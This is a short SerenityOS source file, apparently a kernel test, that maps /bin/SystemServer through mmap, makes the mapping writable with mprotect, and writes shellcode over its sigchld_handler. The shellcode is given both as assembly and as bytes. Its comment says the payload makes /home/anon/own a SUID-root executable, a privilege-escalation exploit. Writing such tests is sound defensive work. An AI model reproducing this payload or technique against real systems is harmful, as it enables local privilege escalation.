mmap-write-into-running-programs-executable-file.cpp 1.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576
  1. /*
  2. * Copyright (c) 2018-2020, the SerenityOS developers.
  3. *
  4. * SPDX-License-Identifier: BSD-2-Clause
  5. */
  6. #include <AK/Types.h>
  7. #include <fcntl.h>
  8. #include <stdio.h>
  9. #include <string.h>
  10. #include <sys/mman.h>
  11. #include <unistd.h>
  12. int main()
  13. {
  14. int fd = open("/bin/SystemServer", O_RDONLY);
  15. if (fd < 0) {
  16. perror("open");
  17. return 1;
  18. }
  19. u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
  20. if (ptr == MAP_FAILED) {
  21. perror("mmap");
  22. return 1;
  23. }
  24. if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
  25. perror("mprotect");
  26. return 1;
  27. }
  28. /*
  29. *
  30. * This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
  31. * It does two things:
  32. *
  33. * chown ("/home/anon/own", 0, 0);
  34. * chmod ("/home/anon/own", 04755);
  35. *
  36. * In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
  37. *
  38. */
  39. #if 0
  40. [bits 32]
  41. [org 0x0804b111]
  42. jmp $+17
  43. path:
  44. db "/home/anon/own", 0
  45. mov eax, 79
  46. mov edx, path
  47. mov ecx, 0
  48. mov ebx, 0
  49. int 0x82
  50. mov eax, 67
  51. mov edx, path
  52. mov ecx, 15
  53. mov ebx, 2541
  54. int 0x82
  55. ret
  56. #endif
  57. const u8 payload[] = {
  58. 0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
  59. 0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
  60. 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
  61. 0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
  62. 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
  63. 0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
  64. };
  65. memcpy(&ptr[0x3111], payload, sizeof(payload));
  66. printf("ok\n");
  67. return 0;
  68. }